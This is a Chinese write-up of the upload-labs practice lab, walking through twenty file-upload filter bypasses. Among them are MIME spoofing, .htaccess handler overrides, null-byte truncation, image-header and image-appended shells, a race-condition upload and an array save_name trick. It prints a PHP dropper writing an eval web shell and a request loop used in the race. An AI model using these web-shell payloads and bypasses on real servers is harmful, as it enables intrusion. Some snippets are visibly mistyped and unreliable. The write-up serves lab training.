upload-labs writeup
其它的writeup
https://github.com/LandGrey/upload-labs-writeup
https://cloud.tencent.com/developer/article/1377897
https://www.360zhijia.com/anquan/442566.html
upload-labs安装
下载地址:https://github.com/c0ny1/upload-labs
准备
-
下载后将整个文件放入phpstudy目录下即可
-
在项目的更目录下新建文件夹upload
-
上传的文件名不要是中文名,否则会出现上传错误
pass-1
操作
-
准备一句话木马为
-
上传一句话木马出现1.php弹出
- 查看javascript存在前端过滤,也能看到相应代码
- 直接删除,上传,上传成功
- 如果我们知道上传文件的完整路径(这里可以直接查看图片获得路径),就可以通过蚁剑或菜刀连接
原理
- 只是通过前端js来验证文件类型,将js禁用即可绕过
pass-2
操作
- 同一,把过滤函数删除,用bp截断,上传php,将content-type值改为image/png,上传成功
原理
- 从源代码可以看到通过MIME-TYPE进行过滤,首先通过$_FILES['upload_file']['type']得到上传的MIME-TYPE,然后和image/png,image/jpeg进行比较
-
mime是多用途互联网邮件扩展类型,用于设定某扩展名文件的打开方式,如.png在数据包的中的content-type为image/png
-
$_FILES是一个全局变量数组,各个值的含义为
$_FILES['myFile']['name'] | 上传文件的原名称 |
---|---|
$_FILES['myFile']['type'] | 文件的 MIME 类型 |
$_FILES['myFile']['size'] | 已上传文件的大小,单位为字节 |
$_FILES['myFile']['tmp_name'] | 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定 |
$_FILES['myFile']['error'] | 和该文件上传相关的错误代码 |
pass-3
操作
将后缀名改为.php5,成功
原理
-
从源代码看,系统利用trim()删除了文件两侧空格,利用deldot()删除文件名末尾的点,利用strtolower()将文件名转换为小写,利用str_ireplace()去除字符串::$DATA。
-
但是只是利用黑名单$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上传后缀为php等的文件
-
所以可以利用apache的解析特性:它将.php3,.php5,.phtml等都可以解析为php
pass-4
操作
-
首先上传文件.htaccess,内容为
"aaa" stehandler application/x-httpd-php -
接着上传将先前的文件aaa.php改为aaa.jpg,上传成功,并可以使用蚁剑连接
原理
-
查看源码,和三类似,但它的黑名单为 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");但是并没有禁止.htaccess
-
.htaccess是apache服务器中的一个配置文件,可以实现301重定向,自定义404错误页面,改变文件扩展名,阻止或允许用户访问特定目录或文件等
-
如果服务器的httpd.conf文件中的allowoverride设置为all,该文件可以使得目录下的所有文件都以php执行。这里.htaccess的内容可以使任何以aaa为文件名的文件以php解析执行
pass-5
操作
- 采用大小写绕过,上传1.PHP
原理
- 查看源码,发现它的黑名单没有过滤大小写,或利用strtolower()将文件名转换为小写,所以可以利用大小写绕过
pass-6
操作
- 采用空格绕过,利用bp截断,在文件名后添加空格
原理
-
查看源码,没有对文件名的空格去除
-
windows中文件扩展名后的空格会做空处理,但是文件名后加空格使得本来的扩展名改变,绕过黑名单
pass-7
操作
- 采用.绕过,利用bp截断,在文件名后加.
原理
-
查看源码,没有去除文件名后的点
-
windows下最后一个.会被自动剔除
pass-8
操作
- 采用
::$DATA
,利用bp截断,在文件名后加::$DATA
原理
- windows下,如果上传的文件名后缀为php::$DATA会在服务器生成后缀为Php的文件,内容和上传内容相同,并被解析
pass-9
操作
- 利用bp截断,在文件名后加. .(点,空格,点)
原理
- 查看源码,首先利用trim去除末尾空格,又l利用deldot去除末尾点,又去除空格,所以组合点空格点,去除点去除空格,最后剩下点自动剔除
pass-10
操作
- 利用bp截断,将文件后缀改为.phphpp
原理
- 查看源码,其中出现了
$file_name = str_ireplace($deny_ext,"", $file_name);
这一函数,它将上传文件与黑名单的后缀名相同的都用空替换,所以可以双写绕过phphpp中的php被替换为空后剩下php
pass-11
操作
- 利用00截断,首先将phpstudy的php版本切换到php5.3以下
- 再将php.ini的magic_quotes_gpc改为off
- 利用bp截断,在保存文件路径处添加11.php%00
原理
-
截断漏洞,在系统对文件名读取时,如果遇到0x00会认为读取结束,如:1.php0x00.jpg在上传时认为是jpg,但在新建该文件文件时保存为1.php 。但在php5.3之后的版本已经修复,并且受gpc,addslashes函数影响
-
查看源码发现,最后保存文件时是将get得到的路径与随机数年月日和上传文件名拼接到一起,所以上传文件路径可控,我们将get的路径最后改为1.php0x00那么拼接到后面的内容就会被丢弃,从而保存为1.php
pass-12
操作
- 利用00截断,现在此处文件名后面添加一个空格,为了便于寻找,然后打开hex,将此处的20改为00
原理
- 与十一相同
pass-13
操作
方法一
-
上传图片webshell,利用文件包含漏洞
-
编写文件13.jpg,内容为GIF98A上传
-
点击图片查看上传后图片的位置名字
- 点击此处,利用文件上传漏洞
- 但是我这出现了个问题
- 所以我回到phpstudy把这个include.php拷贝到文件上传的目录upload,然后找到这个页面
- 我们查看这个代码,发现他是利用get得到文件参数,然后利用include进行文件包含,所以url处构造?file=刚才查看上传的文件名
原理
- 查看源码,它是通过判断文件的前两个字节,来判断是否是png等图片,所以在上传的php文件前加入GIF98A即会被判断为Gif文件
- 文件包含:在php中使用include,include_once,require,require_once函数包含的文件无论文件名称是什么都会被当做php代码执行
方法二
-
利用图片隐写的方式,将木马拼接到图片图片结束符FFD9之后,通常会忽略文件结束符之后的数据。
-
可以利用命令copy /b 1.jpg +1.php 2.jpg得到,其中1.jpg为载体文件,1.php为包含木马的文件,2.jpg为得到的文件
pass-14
- 同上
pass-15
-
需要打开配置php.ini中的php_exif模块
-
同上
pass-16
-
这一关图片被上传后被重新渲染,利用隐写将木马隐写到FFD9后会被去除,所以该方法不可以。下面的方法都有随机性,需要多尝试几次
-
采用网上的方法一https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg尝试了了几次都没有成功。
-
采用网上的方法二https://github.com/LandGrey/upload-labs-writeup尝试了几次最终成功
- 在此处写入了phpinfo()
- 查看上传处的图片,该语句保持不变
pass-17
操作
- 利用竞争条件上传,上传文件,文件内容为
<?php
fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>');
?>
- 上传文件的同时,利用脚本不断访问该文件
import requests
while 1:
requests.get("http://192.168.89.130/upload-labs/upload/15.php")
- 最后上传目录下会生成shell.php文件,内容为
原理
- 查看源码,文件先通过move_uploaded_file进行保存,然后用in_array判断文件是否为图片类型,如果是就用rename进行重命名,如果不是,则使用unlink删除文件。所以可以利用这个时间差,当文件保存后,就不断访问该文件,使得它又生成一个shell.php,之后即使上传文件已经删除,shell.php仍然存在。
pass-18
不知为啥,这一关总是无法成功
pass-19
-
可以将保存名称后缀设置为. .,同六
-
可以设置为.
-
可以大写绕过
pass-20
操作
- 利用bp截断,上传20.jpg
- 将post提交的数据包改为
原理
- 将源码复制到下面,利用注释进行分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){//这一步是检查上传的文件是否为规定的类型
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//如果通过post传递的参数save_name为空,$file就为上传文件本来的名字的值,否则为post传递的save_name的值
if (!is_array($file)) {//因为我们都是填写了保存名称,即用post传递了save_name的值,所以这里判断我们填写的保存名称是否为一个数组
$file = explode('.', strtolower($file));//不是一个数组就利用.对文件名进行分割
}
$ext = end($file);//数组最后一个值即文件后缀名给$ext
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {//再一次进行判断是否为允许上传的类型
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//将数组count($file)-1的值给了$file_name,最后拼接到数组第一个元素后后,reset()为将读取数组第一个元素
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
- 通过以上分析,可以知道,它用end()读取最后数组最后一个值来进行过滤,又将\(file[count(\)file) - 1]的值拼接到数组第一个元素后后,所以可以上传save_name为一个数组,数组第一个元素为*.php,第二个元素为空,第三个元素为jpg。此时利用jpg通过判断,将空拼接到.php后文件仍为.php
最后
-
终于写完了,其中可能有很多错误不足的地方,还请指正
-
https://github.com/c0ny1/upload-labs里有两张很清晰的导图,详细地总结了靶机包含漏洞类型和如何对上传漏洞进行判断
-
也欢迎查看个人写的文件上传的一个小总结https://www.cnblogs.com/Qi-Lin/p/11297452.html